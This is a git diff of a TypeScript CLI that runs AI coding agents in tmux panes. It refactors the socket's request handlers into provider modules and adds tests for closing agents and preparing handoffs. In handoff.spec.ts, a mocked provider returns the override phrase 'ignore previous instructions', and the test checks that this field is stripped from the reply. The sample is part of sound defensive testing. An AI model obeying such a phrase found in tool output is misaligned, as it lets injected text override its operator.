'agent_fork':+ if (this.forkProvider) await this.forkProvider(payload, answer)+ else answer({ error: 'UNSUPPORTED_ON_REMOTE' })return- }- case 'terminal_info': {- // What a harness's pane runs now and where — tmux's #{pane_current_command} and- // #{pane_current_path}, for a terminal client's formats. Read-only. Not in the e2ee- // sets (core.ts is hash-pinned with the other implementations), so it answers the local- // client; over the relay a peer is not asked, and the client keeps its fallback.- const id = payload.agentId- const agent = typeof id === 'string' ? registry.resolve(id) : undefined- if (!agent?.tmuxPane) { reply(type, requestId, { error: 'AGENT_NOT_FOUND' }); return }- void tmuxPaneInfo(agent.tmuxPane).then(info => reply(type, requestId, info ? { ...info } : { error: 'PANE_NOT_FOUND' }))+ // What a harness's pane runs and where (core/terminals/requests.ts, bound by cli.ts).+ case 'terminal_info':+ if (this.terminalInfoProvider) this.terminalInfoProvider(payload, answer)+ else reply(type, requestId, { error: 'UNSUPPORTED' })return- }case 'git_pull_request': {const id = payload.agentId@@ -2812,28 +2243,14 @@ export class BackendSocket {}return- case 'message': {- const content = payload.content as string | undefined- const target = (payload.agentId as string | undefined) || (payload.sessionId as string | undefined)- if (!content || !target) return- // Inject into the pane; the resulting JSONL user/assistant lines drive the turn lifecycle back- // to the web (mirror-all) — no synthetic events here. Prefer cli.ts's handler (inject + Enter- // retry); fall back to a direct inject when unwired (isolation/tests). From the relay this is- // only reached sealed: text typed into an agent is never taken from the relay in the clear.- const tabId = Id.safeParse(payload.tabId)- if (this.onMessage) {- if (tabId.success) this.onMessage(target, content, undefined, tabId.data)- else this.onMessage(target, content)- }+ // Text typed for an agent, into its pane (core/input.ts, bound by cli.ts).+ case 'message':+ if (this.messageProvider) this.messageProvider(payload)else console.warn('[backend] message handler is not wired; terminal input was not dispatched')return- }- case 'cancel': {- const target = (payload.agentId as string | undefined) || (payload.sessionId as string | undefined)- if (target) this.onCancel?.(target)- return- }+ // A person interrupting an agent's turn (core/turns/cancel.ts, bound by cli.ts).+ case 'cancel': this.cancelProvider?.(payload); returncase 'speaking': {// A device is capturing a voice instruction. Mirror the hosted runtime: re-broadcast the presence@@ -2851,21 +2268,10 @@ export class BackendSocket {return}- case 'question_response': {- // A device answered an AskUserQuestion. There's no control channel into an interactive CLI, so- // cli.ts keys the answer straight into that session's tmux dialog.- const p = payload as { requestId?: string; sessionId?: string; agentId?: string; answers?: Record<string, string> }- const answered = this.onQuestionAnswer?.(p)- // Detached: driving a dialog takes seconds of keystrokes and repaints. The outcome goes back- // under the QUESTION's requestId, so the client that answered can say why nothing happened —- // STALE_QUESTION when the dialog changed before the answer arrived and nothing was typed.- if (answered) {- void answered- .then((result) => reply(type, requestId, result.ok ? { ok: true } : { error: result.error, detail: result.detail }))- .catch(() => reply(type, requestId, { error: 'ANSWER_FAILED', detail: 'The answer could not be entered.' }))- }+ // A person's answer to an agent's question, keyed into its dialog (core/questions.ts, bound by cli.ts).+ case 'question_response':+ this.questionProvider?.(payload, answer)return- }// This machine's Claude/Codex rate limits, read with ITS OWN credentials. The desktop reads the// account on the computer it runs on directly; this is how it reads one on a machine it does@@ -2892,16 +2298,10 @@ export class BackendSocket {return}- // The colours the desktop paints its panes with, so tmux answers a TUI's OSC 10/11 with- // them instead of with whatever terminal happened to attach first (lib/hostTheme.ts).- case 'theme_set': {- if (!this.hostThemeSink) { reply(type, requestId, { error: 'UNSUPPORTED' }); return }- const theme = parseHostTheme(payload)- if (!theme) { reply(type, requestId, { error: 'BAD_THEME' }); return }- this.hostThemeSink(theme)- reply(type, requestId, { applied: true })+ // The colours the desktop paints its panes with (core/terminals/requests.ts, bound by cli.ts).+ case 'theme_set':+ reply(type, requestId, this.themeProvider ? this.themeProvider(payload) : { error: 'UNSUPPORTED' })return- }default:// Unknown RPC with a requestId: reject fast so the web promise doesn't wait out its 20s.@@ -2921,28 +2321,13 @@ export class BackendSocket {}}- /** Recover by stable runtime identity; a deleted agent must never become a fresh launch. */- private async creationStatusPayload(status: AgentCreationStatus): Promise<Record<string, unknown>> {- if (status.state === 'created') {- const session = registry.byAgent(status.agentId)- return session- ? { state: 'created', agent: await this.toProject(session), ...(status.level ? { level: status.level } : {}), ...(status.resumed !== undefined ? { resumed: status.resumed } : {}) }- : { state: 'unavailable' }- }- // A recorded refusal is a completed outcome. Keep it separate from transport/dispatch errors- // so clients can distinguish "safe to correct the choices" from "outcome still unknown".- if (status.state === 'failed') {- return { state: 'failed', ...(status.preparedFolder ? { preparedFolder: status.preparedFolder } : {}), failure: { code: status.error, ...(status.detail ? { detail: status.detail } : {}) } }- }- return status- }-async publishStoppedAgent(s: RegisteredSession): Promise<void> {this.send({ type: 'agent_synced', payload: { agent: await this.toStoppedProject(s) } })this.sendCommander({ type: 'agent_deleted', payload: { agentId: s.agentId } })}- private async toStoppedProject(s: RegisteredSession): Promise<AgentFrame> {+ /** A stopped agent's frame: no pane, no terminal, nothing to fork. */+ async toStoppedProject(s: RegisteredSession): Promise<AgentFrame> {const frame = await agentFrame(s, { selectedModel: s.model, terminalAvailable: false, dsh: this.dshFrameProvider?.(s) ?? null,tokenUsage: agentTokenUsage.get(s) })return {@@ -2956,7 +2341,7 @@ export class BackendSocket {}/** Map a registered tmux session onto the web's Project shape (tabs in ProjectTabs). */- private toProject(s: RegisteredSession): Promise<AgentFrame> {+ toProject(s: RegisteredSession): Promise<AgentFrame> {return agentFrame(s, {tokenUsage: agentTokenUsage.get(s),selectedModel: this.runtimeProfileProvider?.(s) ?? null,diff --git a/cli/src/cli.ts b/cli/src/cli.tsindex ffadbad38..24aad6eb0 100644--- a/cli/src/cli.ts+++ b/cli/src/cli.ts@@ -113,6 +113,7 @@ import type { AgentDshContext } from './lib/agentFrame.js'import {clearPaneRemainOnExit,resolvePaneEngineProcess,+ tmuxPaneInfo,tmuxPaneState,} from './lib/tmux.js'import { ALL_TERMINAL_BACKENDS } from './config/terminalConfig.js'@@ -130,6 +131,7 @@ import { Watcher } from './watcher/watcher.js'import { startHookServer } from './hookServer.js'import { connectToMaster } from './harnessd/coreLink.js'import { createTerminalControl } from './core/terminals/control.js'+import { createTerminalRequests } from './core/terminals/requests.js'import { createAgentEvents } from './core/agents/events.js'import { createSessionNormalizers } from './core/transcripts/normalizers.js'import { createInput } from './core/input.js'@@ -149,7 +151,7 @@ import { createForgetSession } from './core/agents/forget.js'import { createBinding } from './core/agents/bind.js'import { createDiscoveryHandlers } from './core/agents/discovery.js'import { createLaunchHelpers } from './core/agents/launch.js'-import { createCancel } from './core/turns/cancel.js'+import { createCancel, createCancelRequest } from './core/turns/cancel.js'import { createPaneWatcher } from './core/agents/newPane.js'import { createAdoption } from './core/agents/adopt.js'import { createAgentCreator } from './core/agents/create.js'@@ -157,8 +159,12 @@ import { createAgentForker } from './core/agents/fork.js'import { createPaneSwap } from './core/agents/swap.js'import { createAgentRetargeter } from './core/agents/retarget.js'import { createAgentRestarter } from './core/agents/restart.js'-import { createAgentLifecycle } from './core/agents/lifecycle.js'-import { createAgentClosing } from './core/agents/close.js'+import { createAgentLifecycle, createPurgeRequest, createStopRequest } from './core/agents/lifecycle.js'+import { createAgentClosing, createCloseRequests } from './core/agents/close.js'+import { createHandoffRequest } from './core/agents/handoff.js'+import { createLaunchRequests } from './core/agents/launches.js'+import { createAgentList } from './core/agents/list.js'+import { createAgentUpdate } from './core/agents/update.js'import { createEngineHooks, installEngineHooks } from './core/engines/hooks.js'import { createCursorTaskHooks } from './core/engines/cursorTasks.js'import { databaseHistory } from './core/transcripts/databaseHistory.js'@@ -223,6 +229,8 @@ import { cursorDataDir } from './engines/cursor/home.js'import { loadCursorPendingTasks } from './engines/cursor/pendingTasks.js'import { opencodeMajorVersion } from './engines/opencode/version.js'import { hermesDbForSession } from './lib/hermesHome.js'+import { TranscriptPager } from './lib/transcriptPages.js'+import { AgentCreationReceipts } from './lib/agentCreationReceipt.js'import { agentFrame, lastActivityAt, type AgentFrame } from './lib/agentFrame.js'import { forgetAgentProject } from './lib/agentProject.js'import { agentTokenUsage } from './lib/agentTokenUsage.js'@@ -1838,7 +1846,7 @@ async function runForeground(session: AuthSession | null): Promise<void> {setRuntime: (agentId, model, effort) => {const s = registry.resolve(agentId)if (!s || !model) return- backendRef?.onRuntimeProfileUpdate?.(s.sessionId || agentId, `runtime-v1:${s.sessionId || agentId}:${s.engine}:${model}@${effort || 'auto'}`)+ void runtimeController.setProfile(s.sessionId || agentId, `runtime-v1:${s.sessionId || agentId}:${s.engine}:${model}@${effort || 'auto'}`)},// The same path the window's `agent_fork` takes.fork: async (agentId) => {@@ -1854,8 +1862,8 @@ async function runForeground(session: AuthSession | null): Promise<void> {},questions: {// The device's own object, verbatim: rebuilt as `{ [requestId]: optionId }` it was keyed by the- // REQUEST id, not the question key `onQuestionAnswer` expects, and named a question that does not exist.- answer: (agentId, requestId, answers) => { void backendRef?.onQuestionAnswer?.({ agentId, requestId, answers }) },+ // REQUEST id, not the question key `asking.answer` expects, and named a question that does not exist.+ answer: (agentId, requestId, answers) => { void asking.answer({ agentId, requestId, answers }) },answerReviewed: async (answer) => (await questions.answer({ agentId: answer.agentId, requestId: answer.requestId,answers: answer.answers, expectedQuestions: answer.questions, selectedLabels: answer.selections, freeTextKeys: answer.freeTextKeys })).ok,},@@ -2015,17 +2023,22 @@ async function runForeground(session: AuthSession | null): Promise<void> {},})backend.setTerminalStreamManager(terminalStreams)- // `agentReconciler` is declared further down; this closure only ever runs for a frame, and no- // socket is connected until well after that declaration (backend.connect() is the last thing- // this function does).- backend.hostThemeSink = (theme) => {- if (theme.background === hostTheme.background && theme.foreground === hostTheme.foreground) return- hostTheme = theme- saveHostTheme(theme)- console.log(`[theme] panes now bg=${theme.background} fg=${theme.foreground}`)- // Existing sessions pick it up on the next scan (TmuxBackend.inventory restyles); nudge one now.- void agentReconciler.trigger()- }+ // What a harness's pane runs and where, and the desktop's pane colours (core/terminals/requests.ts). A+ // theme is applied only for a frame, well after `agentReconciler` below exists (connect() comes last).+ const terminalRequests = createTerminalRequests({+ resolve: (id) => registry.resolve(id),+ paneInfo: (pane) => tmuxPaneInfo(pane),+ applyTheme: (theme) => {+ if (theme.background === hostTheme.background && theme.foreground === hostTheme.foreground) return+ hostTheme = theme+ saveHostTheme(theme)+ console.log(`[theme] panes now bg=${theme.background} fg=${theme.foreground}`)+ // Existing sessions pick it up on the next scan (TmuxBackend.inventory restyles); nudge one now.+ void agentReconciler.trigger()+ },+ })+ backend.terminalInfoProvider = terminalRequests.terminalInfo+ backend.themeProvider = terminalRequests.themeSet// Each session's engine state, in one table (core/transcripts/normalizers.ts).const normalizers = createSessionNormalizers()@@ -2112,14 +2125,12 @@ async function runForeground(session: AuthSession | null): Promise<void> {const attachSession = attach.attachSessionconst neverFoldedHistory = attach.neverFoldedHistoryconst replayedFirstTurn = attach.replayedFirstTurn- // A conversation's history, a page at a time, for a window that asks (core/transcripts/history.ts).- backend.historyProvider = createHistory({- resolve: (id) => registry.resolve(id),- stopped: () => stoppedAgents.list(),- pages: backend.transcriptPages,- dbs: { opencode: OPENCODE_DB, kilo: KILO_DB, devin: DEVIN_DB },- hermesDb: (s) => hermesDbForSession(s),- }).sessionGet+ // A conversation's history, a page at a time, and how long it is (core/transcripts/history.ts).+ const history = createHistory({ resolve: (id) => registry.resolve(id), stopped: () => stoppedAgents.list(),+ pages: new TranscriptPager(), dbs: { opencode: OPENCODE_DB, kilo: KILO_DB, devin: DEVIN_DB },+ hermesDb: (s) => hermesDbForSession(s) })+ backend.historyProvider = history.sessionGet+ backend.sessionsProvider = history.sessionsList// Everything the core writes into a pane, and the device's pane lock (core/input.ts).const inputs = createInput({resolve: (id) => registry.resolve(id),@@ -2170,9 +2181,14 @@ async function runForeground(session: AuthSession | null): Promise<void> {deviceInput,})const questions = asking.questions- backend.onQuestionAnswer = asking.answer+ backend.questionProvider = asking.questionResponseconst openQuestions = asking.openQuestions- backend.monitorActivityProvider = asking.monitorActivity+ // The agents on this machine (core/agents/list.ts), in the socket's frames, with its monitor readings.+ backend.agentsProvider = createAgentList({+ registry, stoppedAgents, monitorActivityProvider: asking.monitorActivity, monitorCompletions: backend.monitorCompletions,+ toProject: (s) => backend.toProject(s), toStoppedProject: (s) => backend.toStoppedProject(s),+ harnessResourcesReader: () => backend.harnessResourcesReader(), harnessStorageReader: (agents, invalidate) => backend.harnessStorageReader(agents, invalidate),+ }).agentsListconst agentNotifications = asking.agentNotificationsconst questionWatcher = asking.questionWatcher@@ -2205,7 +2221,7 @@ async function runForeground(session: AuthSession | null): Promise<void> {// back under a brand-new agent — but they are ASKED FOR by agent id, which is the only id the device// and the voice router know. Resolve across the two, or every tile restores empty.backend.recentProvider = recaps.recent- backend.recentAsksProvider = recaps.recentAsks+ backend.agentRecentProvider = recaps.agentRecent// "Change agent": the desktop asks for the structured handoff file (lib/agentHandoff.ts) before it// closes the old engine; the new one is then told to read it.@@ -2225,7 +2241,7 @@ async function runForeground(session: AuthSession | null): Promise<void> {findResumedTranscript,validTranscriptPath,})- backend.handoffProvider = (req) => prepareAgentHandoff(handoffDeps, req)+ backend.handoffRequestProvider = createHandoffRequest({ prepare: (req) => prepareAgentHandoff(handoffDeps, req) })// The services harnessd's master runs in their own processes (harnessd/services.ts, `HARNESSD_SERVICES`):// only under a master, which is what gives this core the token they connect with. Their requests are@@ -2304,8 +2320,12 @@ async function runForeground(session: AuthSession | null): Promise<void> {backend.onTerminalHandoff = (tmuxPane) => registry.advertised().find((session) => session.tmuxPane === tmuxPane|| session.runtimes.some((runtime) => runtime.backend === 'tmux' && runtime.paneId === tmuxPane))?.agentId ?? null- backend.onAgentRename = (session, name) => { void terminals.setTitle(session, name) }- backend.onRuntimeProfileUpdate = (sessionId, selectedModel) => runtimeController.setProfile(sessionId, selectedModel)+ // A rename, a model and effort, or an app opening an agent (core/agents/update.ts).+ backend.agentUpdateProvider = createAgentUpdate({+ registry, clients: backend, toProject: (s) => backend.toProject(s), closeAgentService: () => backend.closeAgentService,+ onAgentRename: (session, name) => { void terminals.setTitle(session, name) },+ onRuntimeProfileUpdate: (sessionId, selectedModel) => runtimeController.setProfile(sessionId, selectedModel),+ }).agentUpdateruntimeProfiles.onChanged = (sessionId) => {const session = registry.resolve(sessionId)if (session) syncSession(session)@@ -3480,6 +3500,7 @@ async function runForeground(session: AuthSession | null): Promise<void> {clients: backend,})backend.onCancel = id => { void cancelAgent(id) }+ backend.cancelProvider = createCancelRequest((id) => { void cancelAgent(id) })/*** Web requested a new agent (`agent_create`): spawn a fresh tmux session running the chosen engine in@@ -3603,8 +3624,9 @@ async function runForeground(session: AuthSession | null): Promise<void> {})const stopJobs = lifecycle.stopJobsconst stopAgent = lifecycle.stopAgent- backend.onDeleteAgent = stopAgent+ backend.stopProvider = createStopRequest({ byAgent: (id) => registry.byAgent(id), stop: stopAgent })backend.purgeAgentService = lifecycle.purgeAgentService+ backend.purgeProvider = createPurgeRequest({ purgeAgentService: () => lifecycle.purgeAgentService, invalidateStorage: () => { void backend.harnessStorageReader([], true) } })// Closing agents no window shows, and the cleanup preview (core/agents/close.ts).const closing = createAgentClosing({registry,@@ -3620,11 +3642,12 @@ async function runForeground(session: AuthSession | null): Promise<void> {})backend.closeAgentService = closing.closeAgentServicebackend.closeAgentService.start()- backend.cleanupPreview = closing.cleanupPreview- backend.onResumeAgent = lifecycle.resumeAgent+ const closeRequests = createCloseRequests({ cleanupPreview: closing.cleanupPreview, closeAgentService: () => closing.closeAgentService })+ backend.cleanupPreviewProvider = closeRequests.preview+ backend.closeProvider = closeRequests.close// Restarting an agent in its own pane (core/agents/restart.ts).- backend.onRestartAgent = createAgentRestarter({+ const restartAgent = createAgentRestarter({restartJobs,registry,purgeBusy: (agentId) => backend.purgeAgentService?.busy(agentId),@@ -3641,9 +3664,22 @@ async function runForeground(session: AuthSession | null): Promise<void> {liveBypassPermission,paneSwapDeps,})+ // The requests that start an agent's process, and the receipts of those asked with a creationId+ // (core/agents/launches.ts). The orchestrator and the cable create and fork through the socket's slots.+ const launches = createLaunchRequests({+ receipts: new AgentCreationReceipts(join(env.ADAPTER_DATA_DIR, 'agent-creations')),+ createAgent: () => backend.onCreateAgent, forkAgent: () => backend.onForkAgent,+ resumeAgent: () => lifecycle.resumeAgent, restartAgent: () => restartAgent,+ byAgent: (id) => registry.byAgent(id), toProject: (s) => backend.toProject(s),+ })+ backend.createProvider = launches.create+ backend.createStatusProvider = launches.createStatus+ backend.restartProvider = launches.relaunch+ backend.forkProvider = launches.forkconst submitAgent = inputs.submitAgentbackend.onMessage = (id, content, deliveryId, tabId) => submitAgent(id, content, deliveryId, tabId)+ backend.messageProvider = inputs.messageRequestbackend.onCancelOrchestratorMessage = id => input.cancelDelivery(id)backend.readChannelDesk = async () => {const response = await proxyBackend('GET', '/api/tab-channels')diff --git a/cli/src/core/agents/close.spec.ts b/cli/src/core/agents/close.spec.tsindex 7a9689992..0b9424e1c 100644--- a/cli/src/core/agents/close.spec.ts+++ b/cli/src/core/agents/close.spec.ts@@ -1,7 +1,7 @@import { afterEach, describe, expect, it, vi } from 'vitest'import { inspectCloseActivity, type CloseAgentServiceDeps } from '../../lib/closeAgentService.js'import { projectDisplayName, type RegisteredSession } from '../../lib/registry.js'-import { createAgentClosing, type ClosingDeps } from './close.js'+import { createAgentClosing, createCloseRequests, type ClosingDeps } from './close.js'// The real close service, recording what it was built with so its callbacks can be driven directly.vi.mock('../../lib/closeAgentService.js', async (real) => {@@ -126,3 +126,60 @@ describe('closing agents no window shows', () => {})})})++describe('agents_cleanup_preview', () => {+ it('answers with the preview once it is read, outside the connection\'s line', async () => {+ let read!: (preview: Record<string, unknown>) => void+ const replies: Array<Record<string, unknown>> = []+ createCloseRequests({ cleanupPreview: () => new Promise((resolve) => { read = resolve }), closeAgentService: () => null }).preview((result) => { replies.push(result) })+ expect(replies).toEqual([])+ read({ version: 1, agents: [], kept: 2 })+ await vi.waitFor(() => expect(replies).toStrictEqual([{ version: 1, agents: [], kept: 2 }]))+ })++ it('says why a preview could not be read: the failure\'s own code and words, or that the tabs were unavailable', async () => {+ const replies: Array<Record<string, unknown>> = []+ const failing = (error: unknown) => createCloseRequests({ cleanupPreview: async () => { throw error }, closeAgentService: () => null }).preview((result) => { replies.push(result) })+ failing(Object.assign(new Error('The desk could not be read.'), { code: 'DESK_UNAVAILABLE' }))+ failing(new Error('offline'))+ failing(undefined)+ await vi.waitFor(() => expect(replies).toHaveLength(3))+ expect(replies).toStrictEqual([+ { error: 'DESK_UNAVAILABLE', detail: 'The desk could not be read.' },+ { error: 'TABS_UNAVAILABLE', detail: 'offline' },+ { error: 'TABS_UNAVAILABLE', detail: 'Could not check open tabs.' },+ ])+ expect(Object.keys(replies[0])).toEqual(['error', 'detail'])+ })+})++describe('agent_close', () => {+ const target = { agentId: 'a1', sessionId: 's1', createdAt: '2026-10-05T07:00:00.000Z' }+ const ask = (service: { request: (...args: never[]) => Promise<Record<string, unknown>> } | null, payload: Record<string, unknown>) => {+ const replies: Array<Record<string, unknown>> = []+ createCloseRequests({ cleanupPreview: async () => ({}), closeAgentService: () => service as never }).close(payload, (result) => { replies.push(result) })+ return replies+ }++ it('asks the close service, in the mode asked for, only when hidden if asked so, and answers once it is done', async () => {+ let done!: (result: Record<string, unknown>) => void+ const request = vi.fn(() => new Promise<Record<string, unknown>>((resolve) => { done = resolve }))+ const replies = ask({ request }, { ...target, mode: 'idle', onlyIfHidden: true, requestId: 'r' })+ expect(request).toHaveBeenCalledWith({ ...target, mode: 'idle', onlyIfHidden: true })+ expect(replies).toEqual([])+ done({ closed: true })+ await vi.waitFor(() => expect(replies).toStrictEqual([{ closed: true }]))+ ask({ request: vi.fn(async () => ({})) }, { ...target, mode: 'now', onlyIfHidden: 'yes' })+ })++ it('refuses a request it cannot read, and says when the close failed or there is no service to ask', async () => {+ const request = vi.fn(async () => { throw new Error('tmux gone') })+ for (const wrong of [{ ...target, mode: 'later' }, { ...target, mode: 3 }, { ...target, createdAt: 7, mode: 'now' }, { ...target, sessionId: null, mode: 'now' }, { mode: 'now' }]) {+ expect(ask({ request }, wrong)).toStrictEqual([{ error: 'INVALID_CLOSE_REQUEST' }])+ }+ expect(request).not.toHaveBeenCalled()+ const failed = ask({ request }, { ...target, mode: 'cancel' })+ await vi.waitFor(() => expect(failed).toStrictEqual([{ error: 'CLOSE_FAILED' }]))+ expect(ask(null, { ...target, mode: 'now' })).toStrictEqual([{ error: 'UNSUPPORTED' }])+ })+})diff --git a/cli/src/core/agents/close.ts b/cli/src/core/agents/close.tsindex b6ee0a8f7..bd7d6b202 100644--- a/cli/src/core/agents/close.ts+++ b/cli/src/core/agents/close.ts@@ -4,7 +4,7 @@** Moved verbatim out of `runForeground` (the core boundary, step 11: docs/design/2026-10-03-harnessd.md).*/-import { CloseAgentService, inspectCloseActivity, type CloseAgentServiceDeps } from '../../lib/closeAgentService.js'+import { CloseAgentService, inspectCloseActivity, type CloseAgentServiceDeps, type CloseMode } from '../../lib/closeAgentService.js'import type { OpenTabProtection } from '../../lib/openTabProtection.js'import { projectDisplayName, type registry } from '../../lib/registry.js'import type { SessionCheckpointStore } from '../../lib/sessionCheckpoint.js'@@ -59,3 +59,36 @@ export function createAgentClosing({}return { closeAgentService, cleanupPreview }}++/**+ * Answers `agents_cleanup_preview`, which agents no window shows and what each is doing, for the person+ * to review before closing them; and `agent_close`, a close now, once idle or after the task. Both are+ * detached: the preview reads every hidden agent's screen, and saving and exiting take seconds.+ *+ * Moved verbatim out of the socket's request switch (docs/design/2026-10-03-harnessd.md).+ */+export function createCloseRequests({ cleanupPreview, closeAgentService }: {+ cleanupPreview: () => Promise<Record<string, unknown>>+ /** The close service, once it exists: the socket disposes of it when it stops. */+ closeAgentService: () => Pick<CloseAgentService, 'request'> | null+}) {+ const preview = (reply: (result: Record<string, unknown>) => void): void => {+ void cleanupPreview().then(result => reply(result), error => reply({+ error: error?.code ?? 'TABS_UNAVAILABLE', detail: error instanceof Error ? error.message : 'Could not check open tabs.',+ }))+ }+ const close = (payload: Record<string, unknown>, reply: (result: Record<string, unknown>) => void): void => {+ const service = closeAgentService()+ if (!service) { reply({ error: 'UNSUPPORTED' }); return }+ const { agentId, sessionId, createdAt, mode } = payload+ if (typeof agentId !== 'string' || typeof sessionId !== 'string' || typeof createdAt !== 'string'+ || typeof mode !== 'string' || !['inspect', 'idle', 'now', 'after_task', 'cancel'].includes(mode)) {+ reply({ error: 'INVALID_CLOSE_REQUEST' }); return+ }+ // Saving/exit may take seconds; terminal input and unrelated agents keep flowing.+ void service.request({ agentId, sessionId, createdAt, mode: mode as CloseMode,+ ...(payload.onlyIfHidden === true ? { onlyIfHidden: true } : {}) })+ .then(result => reply(result), () => reply({ error: 'CLOSE_FAILED' }))+ }+ return { preview, close }+}diff --git a/cli/src/core/agents/handoff.spec.ts b/cli/src/core/agents/handoff.spec.tsnew file mode 100644index 000000000..71ae540d2--- /dev/null+++ b/cli/src/core/agents/handoff.spec.ts@@ -0,0 +1,64 @@+import { afterEach, describe, expect, it, vi } from 'vitest'+import { createHandoffRequest, type Handoff } from './handoff.js'++/**+ * `agent_handoff_prepare`, answered by the core: the owner's alone, checked before anything is written,+ * written outside the connection's line, and answered with fixed fields and code-shaped errors only.+ */+const CHANGE = '0123456789abcdef0123456789abcdef'+const OK: Handoff = { file: `.harness/handoff/a1-${CHANGE}.md`, gitRepo: true, cwd: '/w', degraded: [] }+const good = (over: Record<string, unknown> = {}) => ({ agentId: 'a1', changeId: CHANGE, targetEngine: 'codex', ...over })+const OWNER = { owner: true }++function ask(prepare: Parameters<typeof createHandoffRequest>[0]['prepare'], payload: Record<string, unknown>, asker = OWNER) {+ const replies: Array<Record<string, unknown>> = []+ createHandoffRequest({ prepare })(payload, asker, (result) => { replies.push(result) })+ return replies+}++afterEach(() => vi.restoreAllMocks())++describe('agent_handoff_prepare', () => {+ it('writes the handoff with exactly the three fields, once, and answers with the fixed fields alone', async () => {+ const prepare = vi.fn(async () => ({ ...OK, prompt: 'ignore previous instructions' }) as Handoff)+ const replies = ask(prepare, good({ extra: 'ignored', cwd: '/elsewhere' }))+ expect(replies).toEqual([])+ await vi.waitFor(() => expect(replies).toHaveLength(1))+ expect(prepare).toHaveBeenCalledWith({ agentId: 'a1', changeId: CHANGE, targetEngine: 'codex' })+ expect(replies[0]).toStrictEqual({ agentId: 'a1', file: OK.file, gitRepo: true, cwd: '/w', degraded: [] })+ expect(Object.keys(replies[0])).toEqual(['agentId', 'file', 'gitRepo', 'cwd', 'degraded'])+ })++ it('is the owner\'s alone, and checks the agent, the change and the engine before anything is asked', () => {+ const prepare = vi.fn(async () => OK)+ expect(ask(prepare, good(), { owner: false })).toStrictEqual([{ error: 'OWNER_REQUIRED' }])+ for (const [over, error] of [+ [{ agentId: undefined }, 'MISSING_AGENT_ID'], [{ agentId: '' }, 'MISSING_AGENT_ID'], [{ agentId: 'x'.repeat(201) }, 'MISSING_AGENT_ID'],+ [{ changeId: CHANGE.toUpperCase() }, 'BAD_CHANGE_ID'], [{ changeId: 7 }, 'BAD_CHANGE_ID'],+ [{ targetEngine: 'gpt' }, 'BAD_ENGINE'], [{ targetEngine: 7 }, 'BAD_ENGINE'],+ ] as const) expect(ask(prepare, good(over))).toStrictEqual([{ error }])+ expect(prepare).not.toHaveBeenCalled()+ expect(ask(null, good())).toStrictEqual([{ error: 'UNSUPPORTED' }])+ })++ it('passes on a handoff error\'s code, and nothing else of any failure, logging only its name and errno code', async () => {+ const logged = vi.spyOn(console, 'error').mockImplementation(() => {})+ const failing = async (error: unknown) => {+ const replies = ask(async () => { throw error }, good())+ await vi.waitFor(() => expect(replies).toHaveLength(1))+ return replies[0]+ }+ expect(await failing(Object.assign(new Error('NOT_A_REPO /secret/path'), { name: 'HandoffError', code: 'NOT_A_REPO' }))).toStrictEqual({ error: 'NOT_A_REPO' })+ expect(logged).not.toHaveBeenCalled()+ expect(await failing(Object.assign(new Error('lowercase'), { name: 'HandoffError', code: 'not_a_code' }))).toStrictEqual({ error: 'INTERNAL' })+ expect(await failing(Object.assign(new Error('EACCES: /secret/path'), { code: 'EACCES' }))).toStrictEqual({ error: 'INTERNAL' })+ expect(await failing('a string')).toStrictEqual({ error: 'INTERNAL' })+ expect(await failing(null)).toStrictEqual({ error: 'INTERNAL' })+ expect(logged.mock.calls.map(([line]) => line)).toEqual([+ '[handoff] prepare failed: HandoffError', '[handoff] prepare failed: Error EACCES', '[handoff] prepare failed: string', '[handoff] prepare failed: object',+ ])+ // Thrown before any promise exists: the same catch, the same quiet log.+ const replies = ask(() => { throw new Error('sync /secret/path') }, good())+ await vi.waitFor(() => expect(replies).toStrictEqual([{ error: 'INTERNAL' }]))+ })+})diff --git a/cli/src/core/agents/handoff.ts b/cli/src/core/agents/handoff.tsnew file mode 100644index 000000000..3f8fc656d--- /dev/null+++ b/cli/src/core/agents/handoff.ts@@ -0,0 +1,46 @@+/**+ * `agent_handoff_prepare`, for "Change agent": before the engine is swapped, what the old one did is+ * written into the project (`.harness/handoff/`) so the new one can read it. It writes into the user's+ * folder and runs git there, so only the owner may ask: the loopback window, or a sealed `web` session.+ * A `device` (the dial) and a shared viewer never do.+ *+ * Moved verbatim out of the socket's request switch (docs/design/2026-10-03-harnessd.md).+ */+import { ENGINES } from '../../engines/types.js'++/** What the handoff is asked for, and what it answers (lib/agentHandoff.ts). */+export type HandoffRequest = { agentId: string; changeId: string; targetEngine: string }+export type Handoff = { file: string | null; gitRepo: boolean; cwd: string; degraded: string[] }++/** `prepare` writes the handoff file, or is null while nothing can. */+export function createHandoffRequest({ prepare }: { prepare: ((req: HandoffRequest) => Promise<Handoff>) | null }) {+ /** Answers `agent_handoff_prepare` through `reply`, once the file is written: never in the connection's line. */+ return (payload: Record<string, unknown>, asker: { owner: boolean }, reply: (result: Record<string, unknown>) => void): void => {+ if (!asker.owner) { reply({ error: 'OWNER_REQUIRED' }); return }+ const agentId = payload.agentId+ if (typeof agentId !== 'string' || agentId.length === 0 || agentId.length > 200) { reply({ error: 'MISSING_AGENT_ID' }); return }+ const changeId = payload.changeId+ if (typeof changeId !== 'string' || !/^[0-9a-f]{32}$/.test(changeId)) { reply({ error: 'BAD_CHANGE_ID' }); return }+ const targetEngine = payload.targetEngine+ if (typeof targetEngine !== 'string' || !(ENGINES as readonly string[]).includes(targetEngine)) { reply({ error: 'BAD_ENGINE' }); return }+ const provider = prepare+ if (!provider) { reply({ error: 'UNSUPPORTED' }); return }+ // DETACHED from this connection's ordered RPC chain, like `engines_probe`: it reads a whole+ // session and runs git, and a window's next request must not queue behind it. The reply names+ // fixed fields only; whatever else the provider returned stays here.+ // Called inside the executor so a provider that throws before returning its promise lands in+ // the same catch (and the same message-free log) as one that rejects.+ void new Promise<Awaited<ReturnType<typeof provider>>>((resolve) => resolve(provider({ agentId, changeId, targetEngine })))+ .then((r) => reply({ agentId, file: r.file, gitRepo: r.gitRepo, cwd: r.cwd, degraded: r.degraded }))+ .catch((e: unknown) => {+ // Only a HandoffError's code goes on the wire, and only code-shaped: the reply never carries+ // a message or anything else the provider put in it.+ const code = typeof e === 'object' && e !== null ? (e as { code?: unknown }).code : undefined+ const known = (e as { name?: unknown } | null)?.name === 'HandoffError' && typeof code === 'string' && /^[A-Z][A-Z_]{0,39}$/.test(code)+ // Name and errno code only: a message can quote the project path or, from a parser, a+ // slice of the transcript it choked on.+ if (!known) console.error(`[handoff] prepare failed: ${e instanceof Error ? e.name : typeof e}${typeof code === 'string' && /^[A-Z0-9_]{1,40}$/.test(code) ? ` ${code}` : ''}`)+ reply({ error: known ? code : 'INTERNAL' })+ })+ }+}diff --git a/cli/src/core/agents/launches.spec.ts b/cli/src/core/agents/launches.spec.tsnew file mode 